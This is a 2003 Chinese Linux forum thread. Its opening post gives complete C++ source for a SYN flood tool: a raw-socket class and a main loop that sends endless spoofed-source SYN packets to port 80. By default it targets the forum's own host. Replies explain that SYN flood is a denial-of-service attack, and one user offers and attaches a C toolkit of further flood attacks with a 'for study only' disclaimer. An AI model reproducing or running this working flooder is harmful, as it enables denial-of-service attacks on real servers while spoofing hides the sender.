LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 3675|回复: 10

synflood

[复制链接]
发表于 2003-7-11 09:43:54 | 显示全部楼层 |阅读模式
最近无聊时写的简单的synflood工具,试一试:
文件:rawsocket.hpp+rawsocket.cpp

rawsocket.hpp



  1. #ifndef                RAWSOCKET_H
  2. #define                RAWSOCKET_H

  3. #include        <netinet/in.h>
  4. #include        <netinet/ip.h>
  5. #include        <netinet/tcp.h>

  6. #define        IP_DONT_FRAG        64        // htons(2<<13)         =  64
  7. #define        TCP_WINDOW        65407        // htons(0x7fff) =  65407

  8. class        CRawTcpSocket {
  9. public:
  10.         CRawTcpSocket( void ) throw();
  11.         CRawTcpSocket( int sock );
  12.         ~CRawTcpSocket();

  13.         void        SetIpHeader( unsigned int saddr, unsigned int daddr, unsigned char protocol = IPPROTO_TCP, unsigned short frag = IP_DONT_FRAG, unsigned short id = 0, unsigned char ttl = 255 );
  14.         void        SetTcpHeader( unsigned short sport, unsigned short dport, unsigned seq, unsigned int ack, const char *flag, unsigned short window = TCP_WINDOW, unsigned int urgp = 0 );

  15.         void        SetIpOption( const unsigned char *opt, int len );
  16.         void        SetTcpOption( const unsigned char *opt, int len );

  17.         int        Send( const void *data, int len );
  18.         void        Close( void )
  19.         {
  20.                 close( m_sock );
  21.                 m_sock = -1;
  22.         }

  23. private:
  24.         CRawTcpSocket( const CRawTcpSocket& );
  25.         const CRawTcpSocket& operator=( const CRawTcpSocket& );

  26.         void        Initialize( void );
  27.         unsigned short        CheckSum( const unsigned short *ptr, int len );
  28.         void        TcpCheckSum( void );

  29. private:
  30.         struct        iphdr        m_iph;
  31.         struct        tcphdr        m_tcph;
  32.         int                m_sock;
  33.         int                m_ipoptlen;
  34.         int                m_tcpoptlen;
  35.         unsigned char        *m_ipopt;
  36.         unsigned char        *m_tcpopt;
  37. };

  38. #endif        // RAWSOCKET_H

复制代码


rawsocket.cpp
编译:g++ -W -Wall -g -DTEST -o synflood rawsocket.cpp



  1. #include        <cstring>
  2. #include        <unistd.h>
  3. #include        <sys/types.h>
  4. #include        <sys/socket.h>
  5. #include        <stdexcept>
  6. #include        "rawsocket.hpp"

  7. CRawTcpSocket::CRawTcpSocket( void ) throw()
  8. {
  9.         m_sock = socket( PF_INET, SOCK_RAW, IPPROTO_RAW );
  10.         if ( m_sock < 0 ) throw std::runtime_error( "create raw socket error" );
  11.         Initialize();
  12. }

  13. CRawTcpSocket::CRawTcpSocket( int sock )
  14. {
  15.         m_sock = sock;
  16.         Initialize();
  17. }

  18. CRawTcpSocket::~CRawTcpSocket()
  19. {
  20.         close( m_sock );
  21.         delete        []m_ipopt;
  22.         delete        []m_tcpopt;
  23. }

  24. void        CRawTcpSocket::Initialize( void )
  25. {
  26.         shutdown( m_sock, SHUT_RD );
  27.         bzero( &m_iph, sizeof(m_iph) );
  28.         bzero( &m_tcph, sizeof(m_tcph) );
  29.         m_ipopt = 0;
  30.         m_tcpopt = 0;
  31.         m_ipoptlen = 0;
  32.         m_tcpoptlen = 0;
  33. }

  34. void        CRawTcpSocket::SetIpOption( const unsigned char *opt, int len )
  35. {
  36.         delete        []m_ipopt;
  37.         m_ipopt = 0;
  38.         if ( opt && len>0 && len<=40 && !(len%4) ) {
  39.                 m_ipopt = new unsigned char[len];
  40.                 memcpy( m_ipopt, opt, len );
  41.                 m_ipoptlen = len;
  42.         } else {
  43.                 m_ipoptlen = 0;
  44.         }
  45. }

  46. void        CRawTcpSocket::SetTcpOption( const unsigned char *opt, int len )
  47. {
  48.         delete        []m_tcpopt;
  49.         m_tcpopt = 0;
  50.         if ( opt && len>0 && len<=40 && !(len%4) ) {
  51.                 m_tcpopt = new unsigned char[len];
  52.                 memcpy( m_tcpopt, opt, len );
  53.                 m_tcpoptlen = len;
  54.         } else {
  55.                 m_tcpoptlen = 0;
  56.         }
  57. }

  58. void        CRawTcpSocket::SetIpHeader( unsigned int saddr, unsigned int daddr, unsigned char protocol, unsigned short frag, unsigned short id, unsigned char ttl )
  59. {
  60.         bzero( &m_iph, sizeof(m_iph) );
  61.         m_iph.ihl = 5;
  62.         m_iph.version = 4;
  63.         m_iph.id = id;
  64.         m_iph.frag_off = frag;
  65.         m_iph.ttl = ttl;
  66.         m_iph.protocol = protocol;
  67.         m_iph.saddr = saddr;
  68.         m_iph.daddr = daddr;
  69. }

  70. void        CRawTcpSocket::SetTcpHeader( unsigned short sport, unsigned short dport, unsigned int seq, unsigned int ack, const char *flag, unsigned short window, unsigned int urgp )
  71. {
  72.         bzero( &m_tcph, sizeof(m_tcph) );
  73.         m_tcph.source = sport;
  74.         m_tcph.dest = dport;
  75.         m_tcph.seq = seq;
  76.         m_tcph.ack_seq = ack;
  77.         m_tcph.doff = 5;
  78.         m_tcph.window = window;
  79.         m_tcph.urg_ptr = urgp;
  80.         if ( flag ) {
  81.                 m_tcph.fin = (strchr(flag,'F'))?1:0;
  82.                 m_tcph.syn = (strchr(flag,'S'))?1:0;
  83.                 m_tcph.rst = (strchr(flag,'R'))?1:0;
  84.                 m_tcph.psh = (strchr(flag,'P'))?1:0;
  85.                 m_tcph.ack = (strchr(flag,'A'))?1:0;
  86.                 m_tcph.urg = (strchr(flag,'U'))?1:0;
  87.         }
  88. }

  89. unsigned short        CRawTcpSocket::CheckSum( const unsigned short *ptr, int len )
  90. {
  91.         unsigned int        sum = 0;
  92.         unsigned short        odd = 0;

  93.         while( len > 1 ) {
  94.                 sum += *ptr++;
  95.                 len -= 2;
  96.         }

  97.         if ( len ) {
  98.                 *((unsigned char *)&odd) = *(unsigned char *)ptr;
  99.                 sum += odd;
  100.         }

  101.         sum = (sum>>16) + (sum&0xffff);
  102.         sum += (sum>>16);
  103.         unsigned short ret = (~sum)&0xffff;
  104.         return ret;
  105. }

  106. void        CRawTcpSocket::TcpCheckSum( void )
  107. {
  108.         struct        TcpPsdHeader {
  109.                 unsigned int        saddr;
  110.                 unsigned int        daddr;
  111.                 unsigned char        zero;
  112.                 unsigned char        protocol;
  113.                 unsigned short        len;
  114.         } psd;

  115.         psd.saddr = m_iph.saddr;
  116.         psd.daddr = m_iph.daddr;
  117.         psd.zero = 0;
  118.         psd.protocol = IPPROTO_TCP;
  119.         psd.len = htons( 20+m_tcpoptlen );
  120.         unsigned char        buf[72];
  121.         memcpy( buf, &psd, sizeof(psd) );
  122.         memcpy( buf+sizeof(psd), &m_tcph, 20 );
  123.         if ( m_tcpopt )
  124.                 memcpy( buf+sizeof(psd)+20, m_tcpopt, m_tcpoptlen );
  125.         m_tcph.check = CheckSum( (const unsigned short *)buf, sizeof(psd)+20+m_tcpoptlen );
  126. }

  127. int        CRawTcpSocket::Send( const void *data, int len )
  128. {
  129.         if ( (!data&&len) || (data&&len<=0) || (data&&len>1460) ) return -1;

  130.         if ( m_ipopt ) {
  131.                 m_iph.ihl = (20+m_ipoptlen) >> 2;
  132.         } else {
  133.                 m_iph.ihl = 5;
  134.         }

  135.         if ( m_tcpopt ) {
  136.                 m_tcph.doff = (20+m_tcpoptlen) >> 2;
  137.         } else {
  138.                 m_tcph.doff = 5;
  139.         }

  140.         TcpCheckSum();

  141.         char        buf[1500];
  142.         int        dlen = 0;

  143.         memcpy( buf, &m_iph, 20 );
  144.         dlen += 20;
  145.         if ( m_ipopt ) {
  146.                 memcpy( buf+dlen, m_ipopt, m_ipoptlen );
  147.                 dlen += m_ipoptlen;
  148.         }

  149.         memcpy( buf+dlen, &m_tcph, 20 );
  150.         dlen += 20;
  151.         if ( m_tcpopt ) {
  152.                 memcpy( buf+dlen, m_tcpopt, m_tcpoptlen );
  153.                 dlen += m_tcpoptlen;
  154.         }

  155.         int        rest = 1500-dlen;
  156.         rest = (len<rest)?len:rest;
  157.         memcpy( buf+dlen, data, rest );
  158.         dlen += rest;

  159.         struct        sockaddr_in        addr;
  160.         bzero( &addr, sizeof(addr) );
  161.         addr.sin_family = AF_INET;
  162.         addr.sin_addr.s_addr = m_iph.daddr;
  163.         int ret = sendto( m_sock, buf, dlen, 0, (struct sockaddr *)&addr, sizeof(addr) );

  164.         if ( m_ipopt ) {
  165.                 delete        []m_ipopt;
  166.                 m_ipopt = 0;
  167.                 m_ipoptlen = 0;
  168.         }

  169.         if ( m_tcpopt ) {
  170.                 delete        []m_tcpopt;
  171.                 m_tcpopt = 0;
  172.                 m_tcpoptlen = 0;
  173.         }

  174.         return ret;
  175. }

  176. #ifdef        TEST

  177. #include        <time.h>
  178. #include        <cstdlib>
  179. #include        <netdb.h>
  180. #include        <arpa/inet.h>
  181. #include        <iostream>

  182. #include        <signal.h>

  183. int        count = 0;

  184. void        AppExit( int )
  185. {
  186.         std::cout << "total send " << count << " packets" << std::endl;
  187.         exit( 0 );
  188. }

  189. int        main( int argc, char **argv )
  190. {
  191.         char        victim[64];
  192.         strcpy( victim, "www.linuxsir.cn" );
  193.         if ( argc > 1 ) strcpy( victim, argv[1] );

  194.         struct        hostent        *host = gethostbyname( victim );
  195.         if ( !host ) {
  196.                 herror( "gethostbyname" );
  197.                 return -1;
  198.         }
  199.         unsigned int        daddr;
  200.         memcpy( &daddr, host->h_addr, host->h_length );

  201.         signal( SIGINT, AppExit );
  202.         srandom( time(0) );

  203.         try
  204.         {
  205.                 CRawTcpSocket        raw;
  206.                 unsigned int        saddr, ack;
  207.                 unsigned short        sport, dport = htons(80);
  208.                 while( 1 ) {
  209.                         saddr = (unsigned int)random();
  210.                         ack = (unsigned int)random();
  211.                         sport = random()&0xffff;
  212.                         sport = (sport<1025)?htons(sport+1025):htons(sport);

  213.                         raw.SetIpHeader( saddr, daddr );
  214.                         raw.SetTcpHeader( sport, dport, ack, 0, "S" );
  215.                         ack = raw.Send( 0, 0 );
  216.                         if ( ack > 0 ) count++;
  217.                         struct        timespec        req;
  218.                         req.tv_sec = 0;
  219.                         req.tv_nsec = 1000;
  220.                         nanosleep( &req, 0 );
  221.                 }
  222.         }
  223.         catch ( std::exception &e )
  224.         {
  225.                 std::cerr << e.what() << std::endl;
  226.         }
  227.         catch ( ... )
  228.         {
  229.         }

  230.         return 0;
  231. }

  232. #endif        // TEST

复制代码
发表于 2003-7-11 11:14:45 | 显示全部楼层
楼主把unp看完了?我是买了书却没时间看。
发表于 2003-7-11 20:08:05 | 显示全部楼层

synflood?

synflood到底是什么工具
发表于 2003-10-8 23:22:29 | 显示全部楼层
有什么用:ask  :ask  至少给我们莱鸟解释一下吧,
发表于 2003-10-9 10:57:18 | 显示全部楼层
synflood是一种dos(拒绝服务)攻击,我曾经在linux也写过一个工具,包括synflood,teardrop,ping of death,udpflood,icmpflood,smurf...,有兴趣的话可以贴给大家看看。
发表于 2003-10-9 11:08:42 | 显示全部楼层
我虽然不懂,但有兴趣看看。请贴出来。;);)

thanks in advance.
发表于 2003-10-9 12:29:01 | 显示全部楼层
C++的代码看不懂,但我有C下的synflood。
发表于 2003-10-9 13:11:17 | 显示全部楼层
什么样的源代码大家都欢迎你贴出来的。呵呵~~ 不止是我一个人看嘛
发表于 2003-10-9 19:29:04 | 显示全部楼层
是的
欢迎mhkgbmgu我想大家都会有用到的时候
发表于 2003-10-15 01:16:36 | 显示全部楼层
这两天比较忙,没有上来,既然有兄弟感兴趣,我就把自己写的tool贴上来大家看看把,用C写的,在linux下编译通过,包括了syn flood,udp flood,icmp flood,teardrop,ping of death,targa3等攻击(具体看sf_attack.c).
仅供学习使用,请勿用来破坏!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表